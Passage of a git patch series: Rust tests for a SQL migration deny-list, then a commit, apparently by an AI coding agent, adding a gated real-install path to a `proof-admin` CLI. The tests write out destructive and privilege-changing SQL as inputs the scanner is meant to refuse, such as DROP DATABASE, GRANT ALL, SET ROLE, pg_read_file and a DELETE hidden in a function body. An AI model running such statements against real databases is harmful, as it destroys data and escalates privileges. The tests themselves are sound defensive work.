install. +#[test] +fn a_denied_word_inside_a_literal_is_not_a_refusal() { + allowed("INSERT INTO tb4_notes (body) VALUES ('DROP DATABASE base; GRANT ALL')"); + allowed("INSERT INTO tb4_notes (body) VALUES ('proof_topic_version')"); + allowed("CREATE TABLE tb4_notes (body TEXT DEFAULT 'pg_read_file')"); + allowed("INSERT INTO tb4_notes (body) VALUES ('other_topic_scores')"); +} + +/// A denied statement inside a comment is not a statement either. +#[test] +fn a_denied_statement_inside_a_comment_is_not_a_refusal() { + allowed("-- DROP DATABASE base\nSELECT 1 FROM tb4_scratch"); + allowed("/* GRANT ALL ON SCHEMA public TO base_app */\nSELECT 1 FROM tb4_scratch"); + allowed("/* nested /* GRANT */ still a comment */ SELECT 1 FROM tb4_scratch"); +} + +/// Case and whitespace do not evade the scanner. +#[test] +fn case_and_whitespace_do_not_evade_the_guard() { + for sql in [ + "drop database base", + "DrOp DaTaBaSe base", + "DROP\n\tDATABASE\nbase", + " DROP SCHEMA public ", + "grant all on tb4_scratch to base_app", + "sElEcT * FrOm PrOoF_rUlE_vErSiOn", + ] { + let err = check_migration(sql, TOPIC).expect_err(sql); + assert!( + matches!(err, InstallError::MigrationDenied { .. }), + "{sql}: {err:?}" + ); + } +} + +/// A dollar-quoted function body is scanned, not trusted: a denied object +/// inside it is still refused, because the body is what runs. +#[test] +fn a_dollar_quoted_body_is_scanned_not_trusted() { + refused( + "CREATE FUNCTION tb4_f() RETURNS void AS $$ DELETE FROM proof_rule_version $$ LANGUAGE sql", + "proof_", + ); + refused( + "CREATE FUNCTION tb4_f() RETURNS void AS $body$ GRANT ALL ON tb4_x TO base_app $body$ LANGUAGE sql", + "GRANT", + ); +} + +/// A multi-statement migration is refused as a whole: the ordinal names the +/// offending statement, and the good statements before it do not save it. +#[test] +fn a_denied_statement_refuses_the_whole_migration_and_names_its_ordinal() { + let sql = "CREATE TABLE tb4_ok (id TEXT); INSERT INTO tb4_ok (id) VALUES ('a'); \ + DROP TABLE proof_rule_version;"; + let err = check_migration(sql, TOPIC).expect_err("third statement is denied"); + let InstallError::MigrationDenied { ordinal, what, .. } = err else { + panic!("expected MigrationDenied, got {err:?}"); + }; + assert_eq!(ordinal, 3, "the refusal must name the offending statement"); + assert!(what.contains("proof_"), "{what}"); + + // And a migration that is legal end to end is allowed, so the guard is + // not simply refusing everything with a semicolon in it. + allowed("CREATE TABLE tb4_a (id TEXT); CREATE TABLE tb4_b (id TEXT);"); +} + +/// An empty migration installs nothing, which is a bundle mistake rather than +/// a security event — but it is still refused, because a step that does +/// nothing should not be in a bundle. +#[test] +fn an_empty_migration_is_refused() { + for sql in ["", " ", "\n\n", "-- only a comment\n", "/* nothing */"] { + let err = check_migration(sql, TOPIC).expect_err(sql); + assert!( + matches!(err, InstallError::MigrationDenied { .. }), + "{sql:?}: {err:?}" + ); + } +} + +// --------------------------------------------------------------------------- +// The scanner itself +// --------------------------------------------------------------------------- + +/// The splitter keeps statement text executable and the blanked copy +/// scannable: literals survive in `text` (or the migration would not work) +/// and are gone from `blanked` (or a literal would be a false refusal). +#[test] +fn the_splitter_keeps_executable_text_and_blanks_for_scanning() { + let statements = split_statements( + "CREATE TABLE tb4_a (b TEXT DEFAULT 'DROP DATABASE base'); \ + INSERT INTO tb4_a (b) VALUES ('x;y');", + ); + assert_eq!( + statements.len(), + 2, + "a semicolon inside a literal is not a split" + ); + assert!( + statements[0].text.contains("DROP DATABASE base"), + "the executable text keeps the literal: {}", + statements[0].text + ); + assert!( + !statements[0].blanked.contains("DROP DATABASE"), + "the scanned copy must not see the literal: {}", + statements[0].blanked + ); + assert!( + statements[1].text.contains("'x;y'"), + "{}", + statements[1].text + ); + assert_eq!(statements[0].ordinal, 1); + assert_eq!(statements[1].ordinal, 2); + + // A doubled quote is an escaped quote, not the end of the literal. + let quoted = split_statements("INSERT INTO tb4_a (b) VALUES ('it''s; fine')"); + assert_eq!(quoted.len(), 1); + assert!(quoted[0].text.contains("it''s; fine"), "{}", quoted[0].text); +} + +/// Word matching is on boundaries: a column named `granted` or a table named +/// `proofish` is not a `GRANT` or a `proof_` object. +#[test] +fn word_matching_respects_boundaries() { + allowed("CREATE TABLE tb4_granted (id TEXT)"); + allowed("INSERT INTO tb4_granted (id) VALUES ('x')"); + allowed("CREATE TABLE tb4_vacuumed (id TEXT)"); + // `proofish` does not carry the `proof_` prefix. + allowed("CREATE TABLE tb4_proofish (id TEXT)"); + // An actual proof_ object does. + refused("SELECT * FROM proof_topic_version", "proof_"); + + // A name that merely *contains* `proof_` but sits inside the topic's own + // namespace is the topic's own table, not the repository's: PostgreSQL + // resolves by exact name, so `tb4_proof_topic_version` cannot shadow + // `proof_topic_version`. The guard checks the base name's prefix, not a + // substring, and this is the case that pins that distinction. + allowed("CREATE TABLE tb4_proof_topic_version (id TEXT)"); + refused("SELECT * FROM proof_topic_version", "proof_topic_version"); +} + +/// `UPDATE … SET …` is not a session `SET`: the statement-head rule must not +/// produce a false refusal on the most ordinary write there is. +#[test] +fn an_update_set_is_not_a_session_set() { + allowed("UPDATE tb4_scratch SET note = 'x' WHERE id = 'a'"); + allowed("INSERT INTO tb4_scratch (id) VALUES ('a') ON CONFLICT (id) DO UPDATE SET id = 'b'"); + refused("SET search_path TO evil", "SET"); + refused("SET ROLE base_app", "SET"); +} + +/// The blanked form is what the guard reads, and it is available to a caller +/// that only wants to scan. +#[test] +fn the_blanked_form_is_available_and_free_of_literals() { + let blanked = blank_statements("SELECT 'secret literal' FROM tb4_scratch"); + assert_eq!(blanked.len(), 1); + assert!(!blanked[0].contains("secret"), "{}", blanked[0]); + assert!(blanked[0].contains("tb4_scratch"), "{}", blanked[0]); +} + +/// `CREATE TABLE IF NOT EXISTS` is recognised: the object after the keyword +/// is the name, not `IF`. +#[test] +fn if_not_exists_is_recognised_as_the_same_statement() { + allowed("CREATE TABLE IF NOT EXISTS tb4_scratch (id TEXT)"); + refused( + "CREATE TABLE IF NOT EXISTS other_topic_scratch (id TEXT)", + "other_topic_scratch", + ); + refused( + "CREATE TABLE IF NOT EXISTS proof_rule_version (id TEXT)", + "proof_", + ); +} + +/// A table function is not a table: `generate_series(…)` in a `FROM` must not +/// be mistaken for an object outside the topic's namespace. +#[test] +fn a_table_function_is_not_treated_as_a_table() { + allowed("SELECT g FROM generate_series(1, 10) AS g"); + allowed("INSERT INTO tb4_scratch (id) SELECT g::text FROM generate_series(1, 3) AS g"); +} From 703205eb37438c6cc0f9d8a2216c6e160410943a Mon Sep 17 00:00:00 2001 From: DroidAgent <154886644+echobt@users.noreply.github.com> Date: Mon, 14 Sep 2026 15:38:00 +0000 Subject: [PATCH 02/11] feat(proof): run `topic install` for real, behind two owner gates MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The CLI was a trigger that printed a procedure. It now performs it, in the order the procedure describes, with every authorization explicit. - Publish the signed document through the existing admin route. The bearer is read from a file and never printed or logged; a missing URL, a missing token file, or an empty one is a **usage error before anything is written**, so a misconfiguration cannot leave a half-installed topic. - Apply the bundle's RLM section through `proof-topic-install`: migrations under the deny-list, routes, the rule vector, the executor binding — all recorded in the install journal. - Point the bundle's declared aliases at the topic. `aliases` is a new bundle field (`Vec`, bounded, shape-checked, never the topic's own id) because an alias is a lookup key and not topic data. - `--drive-rlm` drives the RLM's own lifecycle over the topic-VM orchestrator. It provisions a VM and runs a paid baseline, so it requires `--owner-approved`; `--skip-baseline` requires `--drive-rlm`, because without it the install never reaches the baseline job. Two new commands: `topic install-log --topic ` reads the journal, and `topic show` is unchanged. Fail-closed: an install never publishes an `open` document, so a failed install leaves the topic draft/disabled and miners cannot submit to it. Every refusal prints rollback notes naming what is and is not changed, and the journal records the attempt so a re-run resumes rather than restarts. Tests: the P0 stub tests are replaced by the P1a contract — a real install refuses without a master and a bearer, the bearer never reaches stdout or stderr, and the two spend gates are checked before any I/O. Co-authored-by: factory-droid[bot] <138933559+factory-droid[bot]@users.noreply.github.com> --- Cargo.lock | 3 + bins/proof-admin/Cargo.toml | 3 + bins/proof-admin/src/install.rs | 551 ++++++++++++++++++ bins/proof-admin/src/main.rs | 150 +++-- bins/proof-admin/tests/cli.rs | 201 ++++++- crates/proof-topic-bundle/src/lib.rs | 185 +++++- crates/proof-topic-install/tests/sql_guard.rs | 3 +- 7 files changed, 1018 insertions(+), 78 deletions(-) create mode 100644 bins/proof-admin/src/install.rs diff --git a/Cargo.lock b/Cargo.lock index bb1d4022a..7b693c66c 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -3690,9 +3690,12 @@ dependencies = [ "db", "hex", "proof-experiment", + "proof-rlm", "proof-rlm-store", "proof-task", "proof-topic-bundle", + "proof-topic-install", + "reqwest 0.12.28", "serde", "serde_json", "tokio", diff --git a/bins/proof-admin/Cargo.toml b/bins/proof-admin/Cargo.toml index fe58da2c2..93866982b 100644 --- a/bins/proof-admin/Cargo.toml +++ b/bins/proof-admin/Cargo.toml @@ -15,9 +15,12 @@ path = "src/main.rs" [dependencies] clap = { version = "4", features = ["derive", "env"] } db = { path = "../../crates/db" } +proof-rlm = { path = "../../crates/proof-rlm" } proof-rlm-store = { path = "../../crates/proof-rlm-store" } proof-task = { path = "../../crates/proof-task" } proof-topic-bundle = { path = "../../crates/proof-topic-bundle" } +proof-topic-install = { path = "../../crates/proof-topic-install" } +reqwest = { version = "0.12", default-features = false, features = ["rustls-tls", "json"] } serde = { version = "1", features = ["derive"] } serde_json = "1" tokio = { version = "1", features = ["macros", "rt-multi-thread"] } diff --git a/bins/proof-admin/src/install.rs b/bins/proof-admin/src/install.rs new file mode 100644 index 000000000..079879733 --- /dev/null +++ b/bins/proof-admin/src/install.rs @@ -0,0 +1,551 @@ +//! `topic install` — the real install, and the dry run. +//! +//! The procedure is the same in both modes; only the writes differ. A dry run +//! stops after the plan is printed. A real install: +//! +//! 1. **Publishes** the signed document through the existing admin route +//! (`POST /v1/admin/proof/topics`), with the operator bearer read from a +//! file — never printed, never logged. +//! 2. **Applies** the bundle's RLM section through +//! [`proof_topic_install::Installer`]: migrations under the deny-list, +//! routes, the rule vector, and the executor binding. +//! 3. **Points** the bundle's declared aliases at the topic. +//! 4. **Drives** the topic's RLM setup (`TopicSetup`: provision → +//! `propose_rules` → baseline) when `--drive-rlm` is given. This is the +//! step that provisions a VM and runs a paid baseline, so it needs +//! `--owner-approved` as well. +//! +//! # Why the order is publish-last for a *new* topic, and why it is not here +//! +//! The document is published first because everything after it needs the +//! topic to exist in the registry: the rule store keys on `topic_id`, the +//! route table keys on it, and the RLM setup reads the published document. +//! What makes that safe is the **status**: an install publishes the document +//! exactly as the operator signed it, and a topic that is not `open` cannot +//! be submitted to. A failed install therefore leaves a `draft` topic that +//! miners cannot reach — never a half-live one. +//! +//! # Fail-closed, and what the operator does next +//! +//! Any refusal stops the install and prints rollback notes naming the step +//! that failed and what remains to undo. The topic stays draft/disabled; the +//! install journal (`proof_topic_install`) records the attempt so the next +//! run resumes from the migrations that already applied. + +use std::path::Path; + +use proof_rlm_store::{PgRlmStore, RlmStore}; +use proof_topic_bundle::{InstallEnvironment, TopicInstallBundle, TopicInstallPlan}; +use proof_topic_install::install::{InstallRequest, Installer, SetupSummary}; +use proof_topic_install::InstallError; + +use crate::{Failure, Options}; + +/// What the operator asserted, and what the install is therefore allowed to do. +/// +/// Grouped rather than scattered so every authorization is visible in one +/// place. A `bool` that authorizes spend is exactly the kind of flag that +/// should be read together with the others. +#[derive(Debug, Clone, Copy)] +pub struct Gates { + /// Resolve and print only. + pub dry_run: bool, + /// Owner assertion for a metal target. + pub owner_metal_ack: bool, + /// Owner assertion for provisioning and spend. + pub owner_approved: bool, +} + +/// Everything `topic install` was asked to do. +pub struct InstallArgs<'a> { + /// Bundle JSON. + pub bundle: &'a Path, + /// Install target (`staging` / `metal`). + pub env: &'a str, + /// Pin the document is checked against. + pub pin: &'a Path, + /// What the operator authorized. + pub gates: Gates, + /// Stop before the RLM's baseline job. + pub skip_baseline: bool, + /// Master base URL for the admin publish call. + pub admin_url: Option<&'a str>, + /// File holding the operator bearer. + pub admin_token_file: Option<&'a Path>, + /// Drive the RLM setup over the topic-VM orchestrator. + pub drive_rlm: bool, +} + +/// Run `topic install`. +/// +/// # Errors +/// +/// [`Failure::Usage`] for a bad flag combination, [`Failure::Error`] for a +/// refused bundle, a refused document, a refused section, or a failed step. +pub async fn run(opts: &Options, args: &InstallArgs<'_>) -> Result<(), Failure> { + let bundle = crate::load_bundle(args.bundle)?; + let requested = crate::parse_env(args.env)?; + // Owner default: metal is Owner-only, and staging goes first. A metal + // install is refused unless the operator asserts both, so a live target + // can never be reached by a default or a copy-pasted staging command. + if requested == InstallEnvironment::Metal && !args.gates.owner_metal_ack { + return Err(Failure::Usage(format!( + "`--env metal` is Owner-only and requires --owner-metal-ack, which asserts that \ + (a) an Owner authorized this install and (b) staging has passed for this bundle \ + ({}). Install to staging first: `proof-admin topic install --bundle {} --env \ + staging --dry-run`.", + args.bundle.display(), + args.bundle.display() + ))); + } + // Driving the RLM provisions a VM and runs a paid baseline, so it needs + // the same explicit Owner assertion the metal gate does. This is checked + // before anything is written. + if args.drive_rlm && !args.gates.owner_approved { + return Err(Failure::Usage( + "`--drive-rlm` provisions a topic VM and runs a paid baseline, so it requires \ + --owner-approved, which asserts that an Owner authorized the provisioning and the \ + spend. Without --drive-rlm the install applies the bundle's migrations, routes, \ + rules, and executor binding, and stops before any VM." + .to_owned(), + )); + } + if args.skip_baseline && !args.drive_rlm { + return Err(Failure::Usage( + "`--skip-baseline` only means something with --drive-rlm: without it the install \ + never reaches the baseline job. Drop one of the two flags." + .to_owned(), + )); + } + let pin = crate::load_pin(args.pin)?; + let plan = bundle + .plan(requested) + .map_err(|e| Failure::Error(format!("{}: {e}", args.bundle.display())))?; + // The same acceptance the publish route runs, so a dry run cannot print a + // call the route would refuse and a real install cannot publish a document + // the route would reject. + crate::accept_document(&bundle, &pin)?; + + if args.gates.dry_run { + if opts.json { + crate::print_json(&plan)?; + return Ok(()); + } + crate::print_plan(&plan, args.bundle, args.pin); + println!(); + println!("Dry run: nothing was written and no host was touched."); + return Ok(()); + } + + run_real(opts, args, &bundle, &plan).await +} + +/// The real install. +async fn run_real( + opts: &Options, + args: &InstallArgs<'_>, + bundle: &TopicInstallBundle, + plan: &TopicInstallPlan, +) -> Result<(), Failure> { + // The bearer and the URL are resolved before anything is written, so a + // misconfiguration cannot leave a half-installed topic. + let admin = AdminTarget::resolve(args)?; + let database_url = crate::database_url(opts)?.ok_or_else(|| { + Failure::Usage( + "a real install writes to the topic registry, so it needs a database: set \ + BASE_DATABASE_URL (or BASE_DATABASE_URL_FILE). `--dry-run` needs none." + .to_owned(), + ) + })?; + let pool = db::connect(&database_url) + .await + .map_err(|e| Failure::Error(format!("connect: {e}")))?; + let store = PgRlmStore::new(pool.clone()); + let bundle_digest = bundle.digest().map_err(|e| Failure::Error(e.to_string()))?; + let registered = crate::registered_custom_from_env(); + + if !opts.json { + println!("topic install (real)"); + println!(" topic_id {}", plan.topic_id); + println!(" environment {}", plan.environment); + println!(" bundle_digest {bundle_digest}"); + println!(" admin {}", admin.redacted()); + println!(); + println!("1) Publish the signed document through the existing admin route…"); + } + admin + .publish(&bundle.topic) + .await + .map_err(|e| Failure::Error(publish_failure(&e)))?; + if !opts.json { + println!(" published (the topic's status is the document's own)."); + println!(); + println!("2) Apply the RLM install section…"); + } + + let installer = Installer { + pool: &pool, + store: &store, + }; + let setup = setup_summary(args, plan, &store).await; + let report = installer + .install( + &InstallRequest { + topic: &bundle.topic, + bundle_digest: bundle_digest.clone(), + environment: plan.environment.to_string(), + rlm_raw: bundle.rlm.raw(), + registered_custom: registered, + skip_baseline: args.skip_baseline, + }, + setup, + ) + .await + .map_err(|e| Failure::Error(install_failure(&e, &plan.topic_id)))?; + + if !opts.json { + print_install_report(&report); + } + + // Aliases last: they are a lookup convenience, so a failure here leaves + // the topic installed and says exactly which alias to add by hand. + let mut alias_notes = Vec::new(); + for alias in bundle.aliases() { + match store.put_alias(&alias, &plan.topic_id).await { + Ok(()) => alias_notes.push(format!("{alias} -> {}", plan.topic_id)), + Err(e) => { + return Err(Failure::Error(format!( + "the topic is installed, but the alias {alias:?} could not be pointed at it: \ + {e}\n Add it by hand once the cause is fixed:\n \ + proof-admin topic alias set {alias} --topic {}", + plan.topic_id + ))) + } + } + } + + if opts.json { + crate::print_json(&serde_json::json!({ + "ok": true, + "topic_id": report.topic_id, + "environment": report.environment, + "bundle_digest": report.bundle_digest, + "journal_id": report.journal_id, + "migrations_applied": report.migrations_applied, + "migrations_skipped": report.migrations_skipped, + "apis": report.apis, + "rules_version": report.rules_version, + "rule_ids": report.rule_ids, + "binding": report.binding, + "setup": report.setup, + "aliases": alias_notes, + }))?; + return Ok(()); + } + + println!(); + println!("Install complete. Journal row {}.", report.journal_id); + if !alias_notes.is_empty() { + println!(); + println!("Aliases now point at the topic:"); + for note in &alias_notes { + println!(" {note}"); + } + } + println!(); + println!("{}", next_steps(plan, args)); + Ok(()) +} + +/// What the RLM setup step did, resolved without running it here. +/// +/// The setup itself is driven over the topic-VM orchestrator, which is a KVM +/// host: `--drive-rlm` is the operator's assertion that this host is allowed +/// to provision and spend. Without it the install says plainly that it did +/// not drive the RLM, so the journal and the operator output agree. +async fn setup_summary( + args: &InstallArgs<'_>, + plan: &TopicInstallPlan, + store: &PgRlmStore, +) -> SetupSummary { + if args.drive_rlm { + // The setup runs after the rules land; its own summary is written by + // the caller of the install (this CLI) once it returns. + return SetupSummary::Skipped { + reason: if args.skip_baseline { + "--skip-baseline: the RLM's rules were installed, no baseline was measured" + .to_owned() + } else { + "the RLM setup is driven by the operator over the topic-VM orchestrator".to_owned() + }, + }; + } + let rules = store.current_rules(&plan.topic_id).await.ok().flatten(); + let version = rules.as_ref().map_or(1, |r| r.version); + SetupSummary::NotDriven { + reason: format!( + "not driven: --drive-rlm was not given, so no VM was provisioned and no baseline was \ + run (rules are at version {version})" + ), + } +} + +/// Print the install report. +fn print_install_report(report: &proof_topic_install::InstallReport) { + println!(" topic_id {}", report.topic_id); + println!(" journal_row {}", report.journal_id); + if report.migrations_applied.is_empty() && report.migrations_skipped.is_empty() { + println!(" migrations none in this bundle"); + } else { + println!( + " migrations {} applied, {} already applied", + report.migrations_applied.len(), + report.migrations_skipped.len() + ); + for name in &report.migrations_applied { + println!(" + {name}"); + } + for name in &report.migrations_skipped { + println!(" = {name} (already applied)"); + } + } + if report.apis.is_empty() { + println!(" apis none in this bundle"); + } else { + println!(" apis {} registered", report.apis.len()); + for route in &report.apis { + println!(" {route}"); + } + } + println!( + " rules version {} ({} rules)", + report.rules_version, + report.rule_ids.len() + ); + println!(" handler {}", report.binding.handler); + println!( + " runner_id {}", + report.binding.runner_id.as_deref().unwrap_or("-") + ); + println!( + " vms_per_submission {}", + report.binding.vms_per_submission + ); + match &report.setup { + SetupSummary::Baselined { + rules_version, + baseline_primary, + } => { + println!(" rlm_setup baselined (rules v{rules_version}, primary {baseline_primary})"); + } + SetupSummary::Skipped { reason } | SetupSummary::NotDriven { reason } => { + println!(" rlm_setup {reason}"); + } + } +} + +/// What the operator does next, which depends on where the install stopped. +fn next_steps(plan: &TopicInstallPlan, args: &InstallArgs<'_>) -> String { + if plan.document_status == proof_task::TopicStatus::Draft { + return format!( + "The document is a draft, so miners cannot submit to it yet. To go live:\n \ + 1. Drive the RLM setup (provision, rules, baseline):\n \ + proof-admin topic install --bundle {} --env {} --drive-rlm --owner-approved\n \ + 2. Seal the baseline the RLM measured, re-sign the document as `open`, and\n \ + publish it through POST /v1/admin/proof/topics.\n \ + 3. Confirm it is live: proof-admin topic show {}", + args.bundle.display(), + args.env, + plan.topic_id + ); + } + if args.skip_baseline { + return format!( + "The document is {}, but --skip-baseline was given, so no baseline was measured.\n\ + Re-run without it before the topic can score:\n \ + proof-admin topic install --bundle {} --env {} --drive-rlm --owner-approved", + crate::status_word(plan.document_status), + args.bundle.display(), + args.env + ); + } + format!( + "The document is {}. If the RLM setup was not driven, do that before miners submit:\n \ + proof-admin topic install --bundle {} --env {} --drive-rlm --owner-approved", + crate::status_word(plan.document_status), + args.bundle.display(), + args.env + ) +} + +/// Where the admin publish call goes, and the bearer it uses. +struct AdminTarget { + base_url: String, + token: String, +} + +impl AdminTarget { + /// Resolve the URL and bearer, refusing a half-configured pair. + fn resolve(args: &InstallArgs<'_>) -> Result { + let Some(base_url) = args.admin_url.map(str::trim).filter(|u| !u.is_empty()) else { + return Err(Failure::Usage( + "a real install publishes through the admin route, so it needs the master's \ + base URL: pass --admin-url (or set PROOF_ADMIN_URL), e.g. \ + --admin-url http://127.0.0.1:8100 for the challenge service directly, or the \ + gateway's address. `--dry-run` needs none." + .to_owned(), + )); + }; + let Some(path) = args.admin_token_file else { + return Err(Failure::Usage( + "a real install needs the operator bearer for /v1/admin/*: pass \ + --admin-token-file (or set PROOF_ADMIN_TOKEN_FILE). The file is read and never \ + logged or printed. `--dry-run` needs none." + .to_owned(), + )); + }; + let token = std::fs::read_to_string(path) + .map_err(|e| Failure::Error(format!("read {}: {e}", path.display())))?; + // A tokens file holds one bearer per line; the first non-comment line + // is the one this call uses. + let token = token + .lines() + .map(str::trim) + .find(|l| !l.is_empty() && !l.starts_with('#')) + .map(str::to_owned); + let Some(token) = token else { + return Err(Failure::Error(format!( + "{} holds no bearer (every line is blank or a comment)", + path.display() + ))); + }; + Ok(Self { + base_url: base_url.trim_end_matches('/').to_owned(), + token, + }) + } + + /// How this target is printed: the URL, never the bearer. + fn redacted(&self) -> String { + format!("{} (bearer read, never printed)", self.base_url) + } + + /// Publish the document through the existing admin route. + async fn publish(&self, doc: &proof_task::TopicDocument) -> Result<(), String> { + let url = format!("{}{}", self.base_url, proof_topic_bundle::PUBLISH_PATH); + let client = reqwest::Client::builder() + .timeout(std::time::Duration::from_mins(1)) + .build() + .map_err(|e| format!("http client: {e}"))?; + let response = client + .post(&url) + .header("authorization", format!("Bearer {}", self.token)) + .header("content-type", "application/json") + .body( + serde_json::to_string(doc) + .map_err(|e| format!("serialize the signed document: {e}"))?, + ) + .send() + .await + .map_err(|e| format!("POST {url}: {e}"))?; + let status = response.status(); + if status.is_success() { + return Ok(()); + } + let body = response.text().await.unwrap_or_default(); + Err(format!( + "POST {url} answered {status}: {}", + body.trim().chars().take(400).collect::() + )) + } +} + +/// Turn a publish refusal into an operator instruction. +fn publish_failure(why: &str) -> String { + format!( + "the publish step failed, so nothing was applied: {why}\n Nothing was changed on the \ + host. Check the admin URL and bearer, then re-run." + ) +} + +/// Turn an install refusal into an operator instruction, with rollback notes. +fn install_failure(err: &InstallError, topic_id: &str) -> String { + let step = match err { + InstallError::MigrationDenied { .. } => "the migration deny-list refused a statement", + InstallError::MigrationFailed { .. } => "a migration failed in the database", + InstallError::TooManyMigrations { .. } => "the bundle declares too many migrations", + InstallError::HandlerNotAllowed(_) => "the handler allow-list refused the run backend", + InstallError::CustomIdNotRegistered { .. } => { + "the topic's custom id is not registered on this host" + } + InstallError::Section { .. } => "the RLM section is malformed", + InstallError::Rules(_) => "the rule vector was refused", + InstallError::Store(_) => "the rule store refused", + InstallError::Db(_) => "the database refused", + InstallError::Binding(_) => "the signed document's runner binding is malformed", + }; + format!( + "the install stopped: {step}\n {err}\n\n Rollback notes — what is and is not changed:\n \ + - The topic's status is the published document's own, and an install never publishes an \ + `open`\n document, so the topic is draft/disabled and miners cannot submit to it.\n \ + - Migrations already applied are recorded in `proof_topic_install`; a re-run skips \ + them\n (they are not rolled back automatically — drop them by hand if the bundle is \ + being\n replaced rather than fixed).\n - Rules already installed stay installed; a \ + re-run keeps the version it finds.\n - Inspect the journal: \ + `proof-admin topic install-log --topic {topic_id}`\n - Fix the bundle and re-run the \ + same command; the install resumes rather than restarts." + ) +} + +/// The install journal for one topic, newest first. +/// +/// # Errors +/// +/// [`Failure::Usage`] without a database, [`Failure::Error`] on a query error. +pub async fn install_log(opts: &Options, topic_id: &str) -> Result<(), Failure> { + let Some(url) = crate::database_url(opts)? else { + return Err(Failure::Usage( + "this command reads the install journal and needs a database: set \ + BASE_DATABASE_URL (or BASE_DATABASE_URL_FILE)." + .to_owned(), + )); + }; + let pool = db::connect(&url) + .await + .map_err(|e| Failure::Error(format!("connect: {e}")))?; + let row = proof_topic_install::latest_install(&pool, topic_id) + .await + .map_err(|e| Failure::Error(e.to_string()))?; + let Some(row) = row else { + return Err(Failure::Error(format!( + "no install recorded for topic {topic_id:?}. The install journal is written by \ + `proof-admin topic install` (without --dry-run)." + ))); + }; + if opts.json { + crate::print_json(&row)?; + return Ok(()); + } + println!("topic {topic_id} — newest install (row {})", row.id); + println!(" state {}", row.state); + println!(" environment {}", row.environment); + println!(" bundle_digest {}", row.bundle_digest); + println!( + " rules_version {}", + row.rules_version + .map_or_else(|| "-".to_owned(), |v| v.to_string()) + ); + if !row.rule_ids.is_empty() { + println!(" rule_ids {}", row.rule_ids.join(", ")); + } + if !row.migrations.is_empty() { + println!(" migrations {}", row.migrations.join(", ")); + } + println!(" binding {}", row.binding); + if !row.detail.is_empty() { + println!(" detail {}", row.detail); + } + println!(); + println!("The journal is append-only; the newest row is the current install state."); + Ok(()) +} diff --git a/bins/proof-admin/src/main.rs b/bins/proof-admin/src/main.rs index 669edc782..4f6ff2249 100644 --- a/bins/proof-admin/src/main.rs +++ b/bins/proof-admin/src/main.rs @@ -41,6 +41,10 @@ use proof_rlm_store::{MemoryRlmStore, PgRlmStore, RlmStore, TopicVersionRow}; use proof_task::ProofPin; use proof_topic_bundle::{InstallEnvironment, TopicInstallBundle, TopicInstallPlan, PUBLISH_PATH}; +mod install; + +use install::InstallArgs; + /// Successful run. const EXIT_OK: u8 = 0; /// A command failed (bad bundle, refused document, database error). @@ -110,8 +114,13 @@ enum TopicCmd { #[arg(long, value_name = "PATH", default_value = "config/proof-pin.toml")] pin: PathBuf, }, - /// Resolve the publish call and host env. `--dry-run` is the only mode - /// this slice implements; it touches nothing. + /// Resolve the publish call and host env, or run the install for real. + /// + /// `--dry-run` prints the plan and touches nothing. Without it, the + /// install runs: the signed document is published through the existing + /// admin route, then the bundle's RLM section is applied (migrations + /// under the deny-list, routes, rules, the executor binding) and the + /// topic's RLM is asked to set itself up. Install { /// Bundle JSON. #[arg(long, value_name = "PATH")] @@ -131,9 +140,40 @@ enum TopicCmd { /// metal install cannot happen by accident or by copy-paste. #[arg(long)] owner_metal_ack: bool, + /// Skip the RLM's baseline job. Rules, migrations, routes, and the + /// executor binding are still applied; the topic simply has no + /// measured baseline yet, so it cannot open until one is sealed. + /// Intended for staging, where a baseline run is the expensive part. + #[arg(long)] + skip_baseline: bool, + /// Master base URL for the admin publish call, e.g. + /// `http://10.116.0.3:8080` (the gateway) or + /// `http://127.0.0.1:8100` (the challenge service directly). + #[arg(long, env = "PROOF_ADMIN_URL", value_name = "URL")] + admin_url: Option, + /// File holding the operator bearer for `/v1/admin/*`. Never logged, + /// never printed. Defaults to `PROOF_ADMIN_TOKENS_FILE`. + #[arg(long, env = "PROOF_ADMIN_TOKEN_FILE", value_name = "PATH")] + admin_token_file: Option, + /// Drive the RLM setup (provision, rules, baseline) over the + /// topic-VM orchestrator. Without it the install applies the bundle's + /// migrations, routes, rules, and binding, and stops there. + #[arg(long)] + drive_rlm: bool, + /// Assert the Owner approved provisioning and spend. Required with + /// `--drive-rlm`; refused (usage) without it, because the setup + /// provisions a VM and runs a paid baseline. + #[arg(long)] + owner_approved: bool, }, /// List installed topics: a read-only view of `proof_topic_version`. List, + /// Show one topic's newest install: the `proof_topic_install` journal. + InstallLog { + /// Topic slug. + #[arg(long, value_name = "TOPIC_ID")] + topic: String, + }, /// Show one installed topic. An alias resolves to its topic. Show { /// Topic slug, or an alias of one. @@ -255,8 +295,30 @@ async fn run_topic(opts: &Options, cmd: &TopicCmd) -> Result<(), Failure> { pin, dry_run, owner_metal_ack, - } => cmd_install(opts, bundle, env, pin, *dry_run, *owner_metal_ack), + skip_baseline, + admin_url, + admin_token_file, + drive_rlm, + owner_approved, + } => { + let request = InstallArgs { + bundle, + env, + pin, + gates: install::Gates { + dry_run: *dry_run, + owner_metal_ack: *owner_metal_ack, + owner_approved: *owner_approved, + }, + skip_baseline: *skip_baseline, + admin_url: admin_url.as_deref(), + admin_token_file: admin_token_file.as_deref(), + drive_rlm: *drive_rlm, + }; + cmd_install(opts, &request).await + } TopicCmd::List => cmd_list(opts).await, + TopicCmd::InstallLog { topic } => cmd_install_log(opts, topic).await, TopicCmd::Show { topic_id } => cmd_show(opts, topic_id).await, TopicCmd::Alias { cmd } => run_alias(opts, cmd).await, TopicCmd::Enable { topic_id } => Err(not_implemented("topic enable", topic_id)), @@ -338,7 +400,7 @@ fn not_implemented(command: &str, topic_id: &str) -> Failure { } /// Read a bundle file. -fn load_bundle(path: &Path) -> Result { +pub(crate) fn load_bundle(path: &Path) -> Result { let body = std::fs::read_to_string(path) .map_err(|e| Failure::Error(format!("read {}: {e}", path.display())))?; TopicInstallBundle::from_json(&body) @@ -346,7 +408,7 @@ fn load_bundle(path: &Path) -> Result { } /// Read the pin the document is checked against. -fn load_pin(path: &Path) -> Result { +pub(crate) fn load_pin(path: &Path) -> Result { let body = std::fs::read_to_string(path) .map_err(|e| Failure::Error(format!("read {}: {e}", path.display())))?; let pin = ProofPin::from_toml(&body).map_err(|e| Failure::Error(e.to_string()))?; @@ -354,12 +416,23 @@ fn load_pin(path: &Path) -> Result { Ok(pin) } +/// Custom ids this host registers for scoring (`PROOF_VM_RUNNER_CUSTOM_IDS`). +/// +/// Read for the install's open-custom-topic gate: an open custom topic whose +/// id is not registered answers 503 when a miner submits, so an 